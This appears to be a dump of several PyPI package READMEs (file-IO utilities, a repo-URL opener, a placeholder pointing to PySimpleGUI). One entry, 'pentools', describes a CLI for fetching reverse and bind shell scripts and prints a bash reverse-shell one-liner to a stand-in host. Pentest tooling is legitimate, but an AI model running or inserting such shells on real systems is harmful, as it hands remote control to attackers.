semvec/pypi-packages huggingface dataset:
agm-io-utils 0.0.6
Offers special IO functions such as the recursive creation of a list of files in a folder, taking into account file extensions or properties.
Requires Python: >=3.7

# agm_io_utils

This package provides some more complex functions e.g. for looking for files and creating unique filenames.  

Install:  
```
pip install agm_io_utils
```
**Example 1:**
```
from agm_io_utils import io_utils

p = r"C:\Users\micro\OneDrive\Dokumente"
result_list = io_utils.get_all_files_recursively_from_path(path=p,
                                                           file_extensions=[".xmind"],
                                                           not_allowed_in_files_name_list=["test", "optional"],
                                                           not_allowed_in_path_string_list=["duplicate"],
                                                           must_be_a_part_of_files_name_list=["python"])
for file_name in result_list:
    print(file_name)
```
Output:  
```
2 files found in folder 'C:\Users\micro\OneDrive\Dokumente'
C:\Users\micro\OneDrive\Dokumente\Python.xmind
C:\Users\micro\OneDrive\Dokumente\wmr\Wissen\Python.xmind
``` 
**Example 2:**

Explanation: Sometimes you get a path to a file through user input. Now the following has to be done:

1. Check whether the file type specified by the user is actually the correct one (e.g. '.txt')
2. Test whether the file actually exists
3. To save the original file from being changed, find a new file name for the target file.  
   A postfix can either be appended here or, if no postfix is specified, a time stamp is automatically appended. In any case, it must be ensured that the target file does not yet exist in the file system. 
   If so, count up the file name with an additional index.
```
from agm_io_utils import io_utils

    path_to_file = r"C:\Users\micro\OneDrive\Dokumente\clean_this_xminds.txt"  
    
    new_filename = io_utils.check_path_and_return_new_file_name_with_postfix(path=path_to_file, extension="txt", postfix="tested")
    print(new_filename)
```
Output:
```
C:\Users\micro\OneDrive\Dokumente\clean_this_xminds_tested_06.txt
```
pentools 0.0.1
CLI for Pen Tools API
Requires Python: >=3.6

## CLI Tool for interacting with Pen Tools API.
A command line interface tool for interacting with Pen Tools API. Quickly retrieve and format scripts using a simple set of commands.
### Installation 
**The package requires Python 3.7 or higher**.

Install latest version from [PyPI](https://pypi.org/project/pentools/): ```pip install pentools``` 

### Resources
[API documentation](https://pentools.herokuapp.com/docs)
### Usage
Retrieve the list of scripts based on specified category (leave blank to see all).

```
pentools list
```
*output:*
```
Available types

0. rev
1. bind
2. msf_venom
3. listener
```

Add the ```-f``` flag to see available scripts.

```
pentools list rev  -f
```
*output:*
```
Available scripts and types

0. rev
    Shell session established on a connection that is initiated from a remote machine.
        0. bash_i [id: 1]('linux', 'mac')
        1. bash_196 [id: 2]('linux', 'mac')
        2. bash_read_line [id: 3]('linux', 'mac')
        3. Bash_5 [id: 4]('linux', 'mac')
        ...
```

Retrieve and format a specific script by id.

```
pentools script -i 1 -ho example.ip -p 12345 -s bin/bash
```
*output:*
```
---------------(code)---------------

bin/bash -i >& /dev/tcp/example.ip/12345 0>&1

-------------(end code)-------------
```
PySimpleGuy 1.0.0
The PySimpleGuy is likely supposed to be PySimpleGUI.
Keywords: GUI UI PySimpleGUI PySimpleGuy PySimpleGUY

<p align="center">
  <img src="https://raw.githubusercontent.com/PySimpleGUI/PySimpleGUI/master/images/for_readme/Logo%20with%20text%20for%20GitHub%20Top.png" alt="Python GUIs for Humans">
  <h2 align="center">Python GUIs for Humans</h2>
</p>

# PySimpleGuy

I think maybe you are looking for PySimpleGUI.  Try installing PySimpleGUI instead of PySimpleGuy
repo-links 0.1.0
Quickly open URLs related to your repos

# repo-links

[![PyPI](https://img.shields.io/pypi/v/repo-links.svg)](https://pypi.org/project/repo-links/)
[![Changelog](https://img.shields.io/github/v/release/seem/repo-links?include_prereleases&label=changelog)](https://github.com/seem/repo-links/releases)
[![Tests](https://github.com/seem/repo-links/workflows/Test/badge.svg)](https://github.com/seem/repo-links/actions?query=workflow%3ATest)
[![License](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](https://github.com/seem/repo-links/blob/main/LICENSE)

Quickly open URLs related to your repos.

## How to install

    $ pip install repo-links

## Example usage

Each command prints the URL to a relevant service. For that to actually be useful, you probably want to use it in another command. For example, on MacOS you can use the `open` command to open the URL in the default browser.

The command below would open your repo's page on it's code management system.

    $ open $(repo-links code)

## Open a repo in a code management system

The `code` command prints a URL to the repo's code management system. The details are automatically pulled from your locally setup git remotes. Without any additional arguments, it'll open the repo's root page in your code management system.

    $ repo-links code

You can also point to a specific file or directory.

    $ repo-links code ./repo_links/cli.py

You can optionally specify either a single line or a range of lines to have them selected (useful when collaborating on code snippets).

    $ repo-links code ./repo_links/cli.py --lines 12
    $ repo-links code ./repo_links/cli.py --lines 12:15

Currently supported code management systems:

- GitHub
- Bitbucket

## Open your repo in a CI/CD platform

The `ci` command opens a repo's CI/CD platform page. The platform is determined by whether their configuration files exist locally (e.g. a `.github` folder for GitHub Actions).

    $ repo-links ci

Currently supported CI/CD platforms:

- CircleCI

## Building your own plugins

_Under construction. `repo-links` is planning to support plugins._

## Development

To contribute to this tool, first checkout the code. Then create a new virtual environment:

    cd repo_links
    python -mvenv venv
    source venv/bin/activate

Or if you are using `pipenv`:

    pipenv shell

Now install the dependencies and tests:

    pip install -e '.[test]'

To run the tests:

    pytest